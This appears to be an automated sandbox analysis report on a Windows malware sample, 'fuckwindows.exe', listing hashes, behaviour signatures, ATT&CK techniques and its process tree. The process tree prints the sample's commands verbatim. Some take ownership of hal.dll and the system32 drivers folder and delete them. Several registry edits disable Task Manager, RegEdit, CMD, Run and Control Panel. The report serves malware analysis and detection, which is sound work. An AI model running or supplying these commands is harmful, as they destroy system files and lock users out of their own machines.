6b3063c244e8e32cc39e8d8d267f865fb943afbb92196db04cc272a2c68aaad5

Analysis

max time kernel
73s
max time network
18s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
01-08-2024 20:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fuckwindows.exe
Size

1.2MB
MD5

7bbf03a8110563760b4f917582065eff
SHA1

7ccc7ba96720bd81a4a7ef59bd77c9dd49326653
SHA256

6b3063c244e8e32cc39e8d8d267f865fb943afbb92196db04cc272a2c68aaad5
SHA512

393644875afb67e88c4ee79e916bdeceb4bf4e188c1211f14a91626fbbd7f88f3c967aef84be86a8c455ea791c8ca2a51c619d49a343e66f341273037f5b7d7f
SSDEEP

24576:oQnZkrl1PGVuyhd9tBDgYW9sVTHzw9ulgUTYqwQ4co+y8BrVRHKV9OuVGawkU5dY:PTYYD4Hw

Score

8^/10

defense_evasion discovery evasion exploit ransomware

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
2760	takeown.exe
2488	icacls.exe
4608	takeown.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2760	takeown.exe
2488	icacls.exe
4608	takeown.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Control Panel\Desktop\Wallpaper = "c:\\windows\\system32\\WindowsSecurityIcon.png"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
984	fuckwindows.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2760	takeown.exe
Token: SeTakeOwnershipPrivilege	4608	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 1924	984	fuckwindows.exe	31
PID 984 wrote to memory of 1924	984	fuckwindows.exe	31
PID 984 wrote to memory of 1924	984	fuckwindows.exe	31
PID 984 wrote to memory of 2116	984	fuckwindows.exe	32
PID 984 wrote to memory of 2116	984	fuckwindows.exe	32
PID 984 wrote to memory of 2116	984	fuckwindows.exe	32
PID 984 wrote to memory of 2444	984	fuckwindows.exe	33
PID 984 wrote to memory of 2444	984	fuckwindows.exe	33
PID 984 wrote to memory of 2444	984	fuckwindows.exe	33
PID 984 wrote to memory of 2304	984	fuckwindows.exe	34
PID 984 wrote to memory of 2304	984	fuckwindows.exe	34
PID 984 wrote to memory of 2304	984	fuckwindows.exe	34
PID 984 wrote to memory of 1680	984	fuckwindows.exe	35
PID 984 wrote to memory of 1680	984	fuckwindows.exe	35
PID 984 wrote to memory of 1680	984	fuckwindows.exe	35
PID 984 wrote to memory of 2168	984	fuckwindows.exe	36
PID 984 wrote to memory of 2168	984	fuckwindows.exe	36
PID 984 wrote to memory of 2168	984	fuckwindows.exe	36
PID 984 wrote to memory of 2080	984	fuckwindows.exe	37
PID 984 wrote to memory of 2080	984	fuckwindows.exe	37
PID 984 wrote to memory of 2080	984	fuckwindows.exe	37
PID 984 wrote to memory of 2708	984	fuckwindows.exe	38
PID 984 wrote to memory of 2708	984	fuckwindows.exe	38
PID 984 wrote to memory of 2708	984	fuckwindows.exe	38
PID 984 wrote to memory of 2928	984	fuckwindows.exe	43
PID 984 wrote to memory of 2928	984	fuckwindows.exe	43
PID 984 wrote to memory of 2928	984	fuckwindows.exe	43
PID 1924 wrote to memory of 2760	1924	cmd.exe	49
PID 1924 wrote to memory of 2760	1924	cmd.exe	49
PID 1924 wrote to memory of 2760	1924	cmd.exe	49
PID 1924 wrote to memory of 2488	1924	cmd.exe	50
PID 1924 wrote to memory of 2488	1924	cmd.exe	50
PID 1924 wrote to memory of 2488	1924	cmd.exe	50
PID 984 wrote to memory of 2832	984	fuckwindows.exe	52
PID 984 wrote to memory of 2832	984	fuckwindows.exe	52
PID 984 wrote to memory of 2832	984	fuckwindows.exe	52
PID 984 wrote to memory of 2620	984	fuckwindows.exe	54
PID 984 wrote to memory of 2620	984	fuckwindows.exe	54
PID 984 wrote to memory of 2620	984	fuckwindows.exe	54
PID 984 wrote to memory of 2908	984	fuckwindows.exe	56
PID 984 wrote to memory of 2908	984	fuckwindows.exe	56
PID 984 wrote to memory of 2908	984	fuckwindows.exe	56
PID 984 wrote to memory of 2748	984	fuckwindows.exe	58
PID 984 wrote to memory of 2748	984	fuckwindows.exe	58
PID 984 wrote to memory of 2748	984	fuckwindows.exe	58
PID 984 wrote to memory of 1896	984	fuckwindows.exe	59
PID 984 wrote to memory of 1896	984	fuckwindows.exe	59
PID 984 wrote to memory of 1896	984	fuckwindows.exe	59
PID 984 wrote to memory of 1076	984	fuckwindows.exe	60
PID 984 wrote to memory of 1076	984	fuckwindows.exe	60
PID 984 wrote to memory of 1076	984	fuckwindows.exe	60
PID 984 wrote to memory of 672	984	fuckwindows.exe	62
PID 984 wrote to memory of 672	984	fuckwindows.exe	62
PID 984 wrote to memory of 672	984	fuckwindows.exe	62
PID 984 wrote to memory of 296	984	fuckwindows.exe	63
PID 984 wrote to memory of 296	984	fuckwindows.exe	63
PID 984 wrote to memory of 296	984	fuckwindows.exe	63
PID 984 wrote to memory of 2044	984	fuckwindows.exe	64
PID 984 wrote to memory of 2044	984	fuckwindows.exe	64
PID 984 wrote to memory of 2044	984	fuckwindows.exe	64
PID 984 wrote to memory of 1056	984	fuckwindows.exe	66
PID 984 wrote to memory of 1056	984	fuckwindows.exe	66
PID 984 wrote to memory of 1056	984	fuckwindows.exe	66
PID 984 wrote to memory of 1284	984	fuckwindows.exe	67

C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
"C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2488
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:2116
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:2304
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  PID:1680
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:2168
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2908
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2748
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1076
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:672
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2044
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1284
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1960
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1868
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2584
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:844
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:1088
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2388
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2860
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:1344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1812
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1624
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1556
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:660
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1544
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:572
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:880
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:1252
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2100
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2776
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2736
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2444
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2820
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1528
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3024
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2480
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2472
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:468
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2284
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2528
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:804
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1752
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2400
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3252
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3452
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3536
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3756
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3884
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3952
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3720
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3800
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3632
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4292
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
  2⤵
  PID:4556
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\drivers\*"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:4580
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:4672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact